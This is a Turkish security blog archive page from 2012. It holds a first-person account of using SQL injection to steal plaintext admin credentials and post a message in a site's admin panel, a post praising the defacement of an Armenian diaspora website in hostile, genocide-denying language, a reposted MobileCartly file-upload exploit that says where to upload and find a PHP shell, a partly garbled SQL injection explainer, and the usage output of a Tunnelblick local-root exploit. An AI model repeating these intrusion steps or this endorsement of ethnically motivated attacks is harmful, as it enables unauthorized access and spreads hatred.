Archive for 15 Ağustos 2012

Bir SQL injection Hikayesi

Bu yazımda size Bir SQL injection hikayesini anlatacam. Basit bir sql injection açığından istifade edilerek neler yapılabileceğinden bahsedecem. Bu sql injection açıklarından sadece birinin anlatımı. Bilindiği üzere 10 binlerce sql injection açığı var ama genelde birbirine benzer konular.

1- Öncelikle herhangi bir site üzerinde sql açığı varmı yokmu? Program vastasıyla tüm dizinlerini taratıyoruz. Program sql injection varmı, yokmu olası tüm dizinleri tarayarak açıklı url dizinlerini bize bildiriyor. Bu işlem manuelde yapılabilir ama oldukça uzun ve yorucu olacaktır.

Resimde Görüldüğü gibi program SQL açığı olan URL yi buldu, Bu açıktan istifade ederek MSQL databaseye bağlandı, veritabanı üzerindeki tüm tablolar listelendi, daha sonra tablonun içeriğini okumak için admin user ve şifrelerinin bulunduğu tablonun dataları çekilerek, tablonun sağında görülüleceği üzere, kriptolanmamış olarak yetkili kişilerin user ve passlarına ulaşıldı.

Devlet sitelerini hackledim, veya dns serverlerin script açığından yararlanarak dns serverdeki şifrelere ulaşan daha sonrada yönlendirdim diyen lamerlerin yaptıklarıda bu ve buna benzer lamerlikler.

Demekki tablolara ulaşsalar bile kriptolanmış şifreler olsa, kırmaları için çok zorlanacaklar belkide birşey yapamadan çekip gidecekler.

resimde görüldüğü üzere bu açıktan yararlanarak, yönetici panelinden girerek basit bir tanıtım yazısı attım. Bu açıkları bulduktan sonra, önemli olan zarar vermek değil açığı olan site adminine açığı bildirmek. Yoksa görüldüğü gibi 13 15 yaşındaki çocuklar bile bu açığı kullanabilir.

Resimde görüldüğü üzere burasıda admin veya editör paneli, bulduğumuz şifreler vasıtasıyla panele eriştik ve uyarı mahiyettike mesajımızı bıraktık. Admin bu basit mesajı gördükten sonra açığı olduğunu anlayacak kapatılması için gerekli önlemleri alacaktır.

Kullanımı yaygın olan Havij sql injection programınında çalışma mantığı aynıdır. Havij programıyla Kolanlara bağlanmak için tespit edilen açığın linklerini vermek gerekir. Tarama özelliği yoktur.

Tüm hazır scriptlerin binlerce sql açıkları yayınlanmıştır. Daha önce bu açıkların kullanılma biçimlerini detaylı bir biçimde anlatmıştım.

Sql injection açıklarının nasıl kapatılacağı konusu daha sonraki konularımızda çok ayrıntılı olarak anlatılacak.

Devlet sitelerimizin adminlerinede ufak bir ışık olur inşaAllah da böyle basit açıkları devlet sitelerimizde görmeyiz.

Bu anlatım ye aittir.

Benden bu programı istemeyiniz. SQL injection security amaçlı anlatılmıştır.

 

Ermeni Diaspora Sitesine İskorpitx Darbesi

Bilindiği üzere Ermeni Diasporası Türkler Üzerindeki Oyunlarına çok uzun yıllardır devam etmektedir. Her ortamda Türkiye yi küçük düşürmek için faaliyetlerine ara vermeden devam etmektedirler. Bize karşı olan her olayda gizlice yerlerini almaktadırlar.

Bahsi geçen web sitelerinde de kin ve nefret kusmaya devam etmektedirler. Gerçek dışı anlatımlarla, videolarla Türkleri ve Atalarımız Osmanlıları kötülemektedirler. Bu tür gerçek dışı yayınlardan, ve uluslararası oyunlardan bıkıp usandık. 1915 yılı olayları adı altında düm dünyaya yalanlarını kusmaktadırlar. 1915 Yılında Türkler Çanakkale de ingiliz, fransız ve Anzacların çok güçlü ittifakına karşı, varını yoğunu ortaya koymuş, Zamanın en yüksek teknolojisine sahip olan bu ülkelere karşı “Çanakkale Geçilmez” destanını yazmışlardı. Bu savaşta Ermeniler neredeydi? Ermeniler doğu ve güneydoğu Anadoluda sahipsiz kadın, çocuk ve yaşlıları katlediyorlardı.

iskorpitx tüm savunmaları yalan üzerine kurulmuş Ermeni eşkiyaları ve Asalayı savunan vu soysozların websitesine yukarıdaki mesajı barakarak ders vermiştir.

Kendisini tebrik ediyorum.

MobileCartly 1.0 Remote File Upload Vulnerability

 

images/uploadprocess.php dosyasında normalde gif, jpg, png, txt, html gibi dosyaların uploadına izin verilmesi gerekirken, php shell uploadına izin vermesi nedeniyle servere erişim sağlamakta, Server üzerinde exploit denemelerinine izin vermekle hosting üzerinde bulunan tüm siteleri tehtid etmektedir.
Açık kapatılana kadar site uploada kapatılmalıdır.

# Exploit Title: MobileCartly 1.0 Remote File Upload Vulnerability
# Google Dork: -
# Date: 14/08/2012
# Exploit Author: ICheer_No0M
# Vendor Homepage:
# Software Link: http://mobilecartly.com/mobilecartly.zip
# Version: 1.0
# Tested on: Ubuntu 10.10 + PHP 5.3.3
#
#
# 1. Vuln Code : /images/uploadprocess.php
#
#   /*$zip = new ZipArchive;
#   $zip->open($_FILES['uploadedfile']['tmp_name']);
#   $zip->extractTo('productimages/');
#   $zip->close(); */
#
#  You can upload shell.php on /images/upload.php
#  Find your shell on /productimages/shell.php
#
#
# 2. Vuln Code : /includes/logo-upload-process.php
# /*if (($_FILES["logo-upload"]["type"] == "image/gif")
# || ($_FILES["logo-upload"]["type"] == "image/jpeg")
# || ($_FILES["logo-upload"]["type"] == "image/pjpeg")
# && ($_FILES["logo-upload"]["size"] < 20000))*/
#
# You can upload shell on /includes/upload-logo.php and edit header values.
# Find your shell on /images/logo/shell.php

SQL Injection Nedir

SQL Injection Nedir?

SQL Injection verileri çalmak için hackerlar tarafından kullanılan web saldırı metodlarından biridir. Belkide günümüzde en yaygın kullanılan uygulama seviyesi tekniklerden biridir. Bir korsanın veritabanı içinde tutulan verilere erişim sağlamasına izin veren bir giriş formu bulmak, SQL komutları çalışmasını sağlayan, web uygulamaları ve yanlış kodlamalardan yararlanarak elde ettiği saldırı türüdür.

Kullanıcı girişi için kullanılabilir, SQL alanları, tablolarını geçerek, doğrudan veritabanını sorgulayarak, SQL injection yapabilirler.

SQL Enjeksiyon Açıklama
Web uygulamaları web sitesini ziyaret etmek tercih ettikleri web tarayıcısını kullanarak internet üzerinden bir veritabanından veri göndermek ve almak için izin verir. Veritabanları çoğu web sitelerine uygulama merkezi vardır. Web site ziyaretçileri için özel içerik sunmak ve müşterileri, tedarikçileri, çalışanları ve paydaşları bir dizi bilgi için gerekli veri depolamaktadır. Kullanıcı bilgileri, finansal ödeme bilgileri, firma istatistikleri bir veritabanı içinde ikamet eden ve off-the-raf ve özel web uygulamaları ile meşru kullanıcılar tarafından erişilebilir. Web uygulamaları ve veritabanları düzenli iş çalışmasına izin verir.

SQL Enjeksiyon arka plandaki veritabanında yürütme için bir web uygulaması üzerinden SQL komutları (tablolar) geçmek çalışır hack tekniğidir. Düzgün önlem alınmazsa web uygulamaları hackerlar veritabanı ve  bilgileri görüntülemek, hatta yazma ve silme izni varsa  SQL enjeksiyon saldırıları neden olabilir.

Login sayfaları, destek veya ürün istek formları, geri bildirim formları, arama sayfaları, alışveriş sepetleri ve dinamik içerik genel teslimat gibi özellikler, modern web siteleri şekillendirmek ve umutları ve müşteriler ile iletişim kurmak için gerekli araçları ile işlemler sağlar. Bu web sitesi özellikleri ya off-the-raf satın alınan veya ısmarlama programları gibi geliştirilebilir web uygulamaları örnekleridir.

Kullanıcı girişi için kullanılabilir alanlar SQL ifadeleri geçerek doğrudan veritabanını sorgulamak için izin gerekir, eğer izin veya ortam varsa, tüm ortaya SQL Injection saldırılarına açıktır.

SQL Injection: Basit Bir Örnek
Meşru bir kullanıcının kişisel bilgilerini görüntüleyebilir veya bir forumda yaptığı yorum yüklemek için güvenli bir alana girmek için kendi kullanıcı adı ve şifre girip, basit bir giriş sayfasını oluşturun.

Normal kullanıcı bilgilerini gönderdiğinde, bir SQL sorgusu bu detaylardan faydalanarak, doğrulama için veritabanına gönderilir. Geçerli ise, kullanıcı erişimine izin verilir. Kullanıcı adı ve şifre kombinasyonunu doğrulamak için diğer bir deyişle, giriş sayfasını kontrol eden web uygulaması kadar planlanmış komutları kullanarak veritabanı ile iletişim kurar. Doğrulandığında meşru kullanıcı erişimine izin verilir.

SQL Enjeksiyon ile saldırganlar giriş için, özel giriş formu engelini aşarak arkasındakileri görmek niyeti ile hazırlanmış SQL komutları girerler. Girişleri doğru ve veritabanına SQL sorgusu ile doğrudan gönderen değilseniz bu mümkündür. SQL Enjeksiyon açıkları veritabanına doğrudan iletişim kurmak için bir hacker için giriş sağlar.

Bu tip saldırılardan etkilenen teknolojiler ASP, ASP.NET, PHP, JSP ve CGI gibi dinamik script dilleridir. Bir saldırganın saldırısı önemli tablo ve alan adları için bir web tarayıcısı, SQL sorguları bilgi ve yaratıcı tahmin çalışması olan bir SQL Enjeksiyon un yerine getirmesi gerekir. SQL Enjeksiyon basitliği onun popülerliğini artırdı.

Diğer içerikler:
Bir güvenlik duvarı arkasına gizlenmiş olsa bile, veritabanına SQL sorguları geçmek mümkün mü?
SQL Injection için risk veritabanı mı?
SQL Enjeksiyon etkisi nedir?
Bir SQL Injection Attack Örneği
Nasıl SQL Injection saldırıları nasıl önleyebilirim?

Bir güvenlik duvarı veya diğer güvenlik mekanizması arkasındaki bir veritabanına direk SQL sorgularıy geçmek mümkün mü?
Güvenlik duvarları ve benzer saldırı tespit mekanizmaları tam ölçekli bir SQL enjeksiyon web saldırısına karşı çok az ya da hiç koruma sağlamazlar.

Web sitenizin herkese açık olması gerektiği için güvenlik mekanizmaları kamu web trafiğin web application / s (genelde port 80/443 üzerinden) iletişim kurmak için izin verecektir. Web uygulaması, güncelleştirilmesi gerekir. Bilgi erişimi için veritabanı açık erişimi vardır.

SQL Injection olarak, korsan web uygulaması üzerinden hassas kurumsal verilerin veritabanına almak için SQL sorguları ve yaratıcılık kullanır.

SQL veya Structured Query Language size, depolama, işleme ve ilişkisel veritabanı (ya da düzenlemek ve yapısı veri tabloları koleksiyonu) depolanan veri almanıza olanak veren bilgisayar dilidir. SQL, aslında, bir web uygulamasının (ve kullanıcıların) veritabanı ile etkileşim için tek yoldur. İlişkisel veritabanlarının örnekleri Oracle, Microsoft Access, MS SQL Server, MySQL ve temel yapı taşları olarak SQL kullanan tüm bunların Filemaker Pro içerir.

SQL komutları SELECT, INSERT, DELETE ve DROP TABLE sayılabilir.

Yukarıdaki login sayfası örneğinde normal bir senaryoda web uygulaması için planlanan SQL komutları aşağıdaki gibi olabilir:

Count (*) SEÇİN
FROM
Kullanici = ‘FIELD_USERNAME’ WHERE
AND sifre = ‘FIELD_PASSWORD ”

İngilizce konuş, bu SQL komutu (web uygulamalarından) zaten saklanan kombinasyonu meşru kullanıcı tarafından kullanıcı adı ve şifre girişi eşleştirmek için veritabanı bildirir.

Web uygulaması her tür sabit meşru fonksiyonlarını yerine ve veritabanı ile iletişim kurarken çalıştırmak için belirli bazı SQL sorguları gömülür. Web uygulamasının herhangi bir giriş alanı doğru dezenfekte edilmezse, bir hacker, böylece orjinal dizayn ve fonksiyonun ötesine geçer, web uygulamasının çalıştıracağı SQL komutları kapsamını genişletmek ek SQL komutları enjekte edebilir.

Bir hacker bu nedenle ne olursa olsun fiziksel veritabanı sunucusundan önce yüklü saldırı tespit sistemleri ve ağ güvenliği ekipmanları tüm veritabanına iletişim açık bir kanal (veya, meslekten olmayan anlamında, bir tünel) olacak.

SQL Injection için risk benim veritabanım mı?
SQL Enjeksiyon şu an Internet’te kullanılan en genel uygulama katmanı saldırılarından biridir. SQL Enjeksiyon saldırılarına karşı korumak için nispeten kolay olmasına rağmen, savunmasız kalır çok sayıda web uygulamaları vardır.

Web Uygulama göre Güvenlik Konsorsiyumu (WASC) medyada rapor edilen hack olaylarının% 9’u 27 Temmuz 2006 yılına kadar SQL Enjeksiyon bağlı idi. Kendi araştırma daha yeni verilerle bu yıl taranana web sitelerinin yaklaşık% 50 SQL Enjeksiyon açıkları duyarlı olduğunu göstermektedir.

Bu size bir programcı değilseniz veya web uygulamaları kodlanmış olan kişi değildir, özellikle web sitesi ve web uygulamaları SQL Injection karşı savunmasız olup olmadığı sorusuna cevap vermek zor olabilir.

Bir saldırganın gerçekten webe gönderilen sorguların sonuçlarını görüntülemek için veritabanı veya saklanan verileri görmnin mümkün olup olmadığı kodlanmasına bağlıdır. Kesin olan saldırganın uzlaşma için ya da başka bir bilgi elde etmek, ya savunmasız sisteminde rasgele SQL komutları çalıştırmak mümkün olup olmamasıdır.

Yanlış kodlanmış scriptleriniz  varsa, müşteri ve firma verilerinizin ele geçirilmesi riski vardır.

Veritabanı sadece belirli bazı komutların çalıştırılmasına izin veriyor olabilir. Bir okuma erişimi normalde web uygulama kullanımı için etkindir.

Bir saldırganın sistemi değiştirmek mümkün olmasa bile, hala değerli bilgileri okumak mümkün olacaktır.

SQL Enjeksiyon etkisi nedir?
Bir saldırgan sistemin SQL Enjeksiyon karşı savunmasız olduğunu farkettikten sonra, giriş alanından SQL sorgu / Komutlar enjekte edebilir. Bu, saldırganın veritabanına veritabanına DROP TABLE dahil olmak üzere herhangi bir SQL komutu çalıştırmak için izin eşdeğerdir!

Bir saldırgan, savunmasız sisteminde rasgele SQL deyimlerini çalıştırabilir. Bu veritabanı ve / bütünlüğünü tehlikeye veya hassas bilgileri açığa çıkarabilir. Kullanılan arka uç veritabanına bağlı olarak SQL enjeksiyon açıkları veri / saldırgan için sistem erişim seviyeleri değişikliğine yol açar.

Bazı durumlarda, okumak veya dosyalara yazmak, ya da altta yatan işletim sistemi üzerinde kabuk komutları çalıştırmak mümkün olabilir. Örneğin, Microsoft SQL Server gibi bazı SQL sunucuları stored ve prosedürler (veritabanı sunucusu fonksiyonları) içeren genişletilmiş. Bir saldırgan bu prosedürlere ulaşabilirse, bu tam bir felaket olabilir.

Hırsızlığı fark edildiğinde Maalesef SQL enjeksiyon etkileri sadece açıkta kalır.

Bir SQLInjection Saldırı Örneği
Burada iki giriş, giriş ve şifre ile örnek bir temel HTML formudur.

login.asp için en kolay veritabanı sorgusu aşağıdaki gibi olabilir.

Tunnelblick Local Root Exploit 2

Tunnelblick Local Root exploit bin.sh uzantısından sonra c uzantılı exploitide yayınlandı. Local üzerinden root yetkisi full erişim veren exploit in yamasını hemen indirmeniz gerekmektedir.

/*
* ==== Pwnnel Blicker ====
* = =
* = zx2c4 =
* = =
* ========================
*
* Tunnel Blick, a widely used OpenVPN manager for OSX
* comes with a nice SUID executable that has more holes
* than you care to count. It's a treasure chest of local
* roots. I picked one that looked interesting, and here
* we have Pwnnel Blicker.
*
* Tunnel Blick will run any executable that has 744
* permissions and is owned by root:root. Probably we
* could find a way to exploit an already existing 744
* executable, but this would be too easy. So instead, we
* take advantage of a race condition between checking the
* file permissions on the executable and actually running
* it.
*
* Usage:
* $ ./a.out
* [+] Creating vulnerable directory.
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources
* [+] Writing pid and executing vulnerable program.
* [+] Running toggler.
* [+] Making backdoor.
* [+] Cleaning up.
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources/

../../..//pwnage.tblk/Contents/Resources/exploit.pid

* [+] Complete. Run this again to get root.
* Killed: 9
*
* $ ./a.out
* [+] Getting root.
* # whoami
* root
*
*/

code